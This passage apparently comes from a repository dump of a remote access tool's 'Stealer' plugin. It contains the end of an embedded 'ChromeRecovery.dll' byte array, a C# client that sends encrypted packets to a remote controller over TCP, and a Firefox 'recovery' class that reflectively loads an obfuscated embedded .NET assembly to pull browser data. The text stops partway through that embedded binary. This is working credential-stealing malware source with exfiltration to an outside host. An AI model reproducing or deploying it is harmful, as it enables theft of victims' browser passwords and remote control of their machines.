0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00,\n\t0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,\n\t0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x48, 0x00, 0x00, 0x00, 0x58, 0x80, 0x00, 0x00, 0x4C, 0x03, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x03, 0x34, 0x00,\n\t0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00,\n\t0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00,\n\t0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00,\n\t0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00,\n\t0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00,\n\t0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x04,\n\t0xAC, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00,\n\t0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00,\n\t0x88, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00,\n\t0x30, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, 0x30, 0x00, 0x00, 0x00,\n\t0x1A, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00,\n\t0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00,\n\t0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x46, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00,\n\t0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00,\n\t0x63, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x46, 0x00, 0x13, 0x00, 0x01, 0x00, 0x49, 0x00,\n\t0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00,\n\t0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00,\n\t0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00,\n\t0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x79, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4C, 0x00,\n\t0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00,\n\t0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00,\n\t0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00,\n\t0xA9, 0x00, 0x20, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x01, 0x00, 0x01, 0x00, 0x4C, 0x00,\n\t0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x54, 0x00, 0x72, 0x00,\n\t0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x72, 0x00,\n\t0x6B, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x4E, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x72, 0x00, 0x69, 0x00,\n\t0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x46, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00,\n\t0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x2E, 0x00, 0x64, 0x00,\n\t0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x0F, 0x00,\n\t0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00,\n\t0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x52, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6F, 0x00,\n\t0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00,\n\t0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00,\n\t0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x6C, 0x00,\n\t0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00,\n\t0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00,\n\t0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00,\n\t0x0C, 0x00, 0x00, 0x00, 0xD4, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00\n};\n\n\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/FireFoxRecovery.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class FireFoxRecovery\n    {\n\t\tinternal static List<object[]> Recovery()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (IntPtr.Size == 8) \n\t\t\t\t{\n\t\t\t\t\tSystem.Reflection.Assembly fireFoxLoading = System.Reflection.Assembly.Load(FireFoxRecovery.fireFox);\n\t\t\t\t\tSystem.Reflection.MethodInfo m = fireFoxLoading.GetType(\"P5X7A4Q1SE.S8K7HD3\").GetMethod(\"ZILDKNZD\");\n\t\t\t\t\tobject instance = fireFoxLoading.CreateInstance(m.Name);\n\t\t\t\t\tList<object[]> fireFox = (List<object[]>)m.Invoke(instance, null);\n\t\t\t\t\treturn fireFox;\n\t\t\t\t}\n\t\t\t}\n            catch{ }\n\t\t\treturn null;\n\t\t}\n\t\tinternal static byte[] fireFox = {\n\t0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD,\n\t0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70,\n\t0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,\n\t0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20,\n\t0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,\n\t0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00,\n\t0x64, 0x86, 0x02, 0x00, 0x8D, 0x78, 0xD2, 0x8D, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x30, 0x00,\n\t0x00, 0x4C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,\n\t0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x60, 0x85, 0x00, 0x00, 0x40, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x88, 0x03, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x70, 0x6A, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78,\n\t0x74, 0x00, 0x00, 0x00, 0x9C, 0x4A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,\n\t0x00, 0x4C, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60,\n\t0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x88, 0x03, 0x00, 0x00,\n\t0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,\n\t0x02, 0x00, 0x05, 0x00, 0x54, 0x3E, 0x00, 0x00, 0x1C, 0x2C, 0x00, 0x00,\n\t0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00,\n\t0xC9, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x11, 0x00, 0x73, 0x12, 0x00,\n\t0x00, 0x0A, 0x0A, 0x02, 0x28, 0x1D, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x14,\n\t0xFE, 0x01, 0x13, 0x04, 0x11, 0x04, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38,\n\t0xA6, 0x00, 0x00, 0x00, 0x07, 0x72, 0x01, 0x00, 0x00, 0x70, 0x28, 0x13,\n\t0x00, 0x00, 0x0A, 0x0C, 0x08, 0x72, 0x1D, 0x00, 0x00, 0x70, 0x28, 0x2C,\n\t0x00, 0x00, 0x06, 0x0D, 0x09, 0x14, 0xFE, 0x01, 0x13, 0x06, 0x11, 0x06,\n\t0x2C, 0x05, 0x06, 0x13, 0x05, 0x2B, 0x7F, 0x16, 0x13, 0x07, 0x2B, 0x65,\n\t0x00, 0x12, 0x08, 0xFE, 0x15, 0x13, 0x00, 0x00, 0x02, 0x12, 0x08, 0x09,\n\t0x11, 0x07, 0x1B, 0x6F, 0x23, 0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00,\n\t0x06, 0x28, 0x51, 0x00, 0x00, 0x06, 0x00, 0x09, 0x11, 0x07, 0x17, 0x6F,\n\t0x23, 0x00, 0x00, 0x06, 0x28, 0x15, 0x00, 0x00, 0x06, 0x72, 0x39, 0x00,\n\t0x00, 0x70, 0x6F, 0x14, 0x00, 0x00, 0x0A, 0x2C, 0x13, 0x12, 0x08, 0x28,\n\t0x50, 0x00, 0x00, 0x06, 0x72, 0x39, 0x00, 0x00, 0x70, 0x28, 0x15, 0x00,\n\t0x00, 0x0A, 0x2B, 0x01, 0x16, 0x13, 0x09, 0x11, 0x09, 0x2C, 0x0B, 0x00,\n\t0x06, 0x11, 0x08, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x11,\n\t0x07, 0x17, 0x58, 0x13, 0x07, 0x11, 0x07, 0x09, 0x6F, 0x24, 0x00, 0x00,\n\t0x06, 0xFE, 0x04, 0x13, 0x0A, 0x11, 0x0A, 0x2D, 0x8B, 0x06, 0x13, 0x05,\n\t0x2B, 0x00, 0x11, 0x05, 0x2A, 0x22, 0x02, 0x28, 0x17, 0x00, 0x00, 0x0A,\n\t0x00, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0xD5, 0x00, 0x00, 0x00,\n\t0x02, 0x00, 0x00, 0x11, 0x00, 0x73, 0x18, 0x00, 0x00, 0x0A, 0x0A, 0x02,\n\t0x28, 0x1D, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x14, 0xFE, 0x01, 0x13, 0x04,\n\t0x11, 0x04, 0x2C, 0x08, 0x06, 0x13, 0x05, 0x38, 0xB2, 0x00, 0x00, 0x00,\n\t0x07, 0x72, 0x3D, 0x00, 0x00, 0x70, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0C,\n\t0x08, 0x72, 0x5B, 0x00, 0x00, 0x70, 0x28, 0x2C, 0x00, 0x00, 0x06, 0x0D,\n\t0x09, 0x14, 0xFE, 0x01, 0x13, 0x06, 0x11, 0x06, 0x2C, 